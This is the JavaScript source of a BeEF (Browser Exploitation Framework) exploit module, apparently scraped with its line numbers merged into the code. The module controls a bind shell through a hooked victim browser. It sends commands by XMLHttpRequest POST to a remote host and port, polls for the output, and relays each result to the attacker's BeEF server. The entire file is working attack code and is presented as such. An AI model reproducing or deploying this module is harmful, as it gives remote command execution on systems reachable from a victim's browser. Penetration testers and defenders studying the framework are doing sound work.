Path: blob/master/modules/exploits/beefbind/beef_bind_shell/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function () {7var rhost = '<%= @rhost %>';8var rport = '<%= @rport %>';9var path = '<%= @path %>';10var cmd = '<%= @cmd %>';11var shellcode ='<%= @shellcode %>';1213var uri = "http://" + rhost + ":" + rport + path;1415strip_output = function(output){1617var offset = 0;18for(var c in output){19c = output.charAt(c);20if(c.charCodeAt(0) == 0){21break;22}23offset++;24}25return output.substring(0,offset);26};2728var counter = 0;29get_additional_cmd_results = function(){30xhr = new XMLHttpRequest();31xhr.onreadystatechange = function(){32if(xhr.readyState == 4){33var result = strip_output(xhr.responseText);34beef.debug("result.length: " + result.length);35if(result.length != 0){36beef.debug("get_additional_cmd_results - readyState == 4: request [" + counter + "]\r\n" + result);37beef.net.send("<%= @command_url %>", <%= @command_id %>, result);38counter++;39setTimeout("get_additional_cmd_results()",500);40}41}else{ // No more command results, ready to send another command.42beef.debug("get_additional_cmd_results - readyState != 4: request [" + counter + "]");43}44};45xhr.open("GET", uri, false);46xhr.send(null);47};4849get_prompt = function () {5051xhr = new XMLHttpRequest();52xhr.onreadystatechange = function(){53if(xhr.readyState == 4){54beef.debug("get_prompt: Retrieved prompt");55var prompt = strip_output(xhr.responseText);56beef.debug(prompt);57beef.net.send("<%= @command_url %>", <%= @command_id %>, prompt);5859//send command60send_command(cmd);61}62};63xhr.open("GET", uri, false);64xhr.send(null);65};6667send_command = function(command){68xhr = new XMLHttpRequest();69xhr.onreadystatechange = function(){70var cmd_result = strip_output(xhr.responseText);71beef.debug(cmd_result);72beef.net.send("<%= @command_url %>", <%= @command_id %>, cmd_result);73};74xhr.open("POST", uri, false);75xhr.setRequestHeader("Content-Type", "text/plain");76if (shellcode == 'Linux'){77command = "cmd=" + command + "\n"; // very important only LF78}else{79command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?"80}81xhr.send(command);82setTimeout("get_additional_cmd_results()",500);83};84858687get_prompt();8889});90919293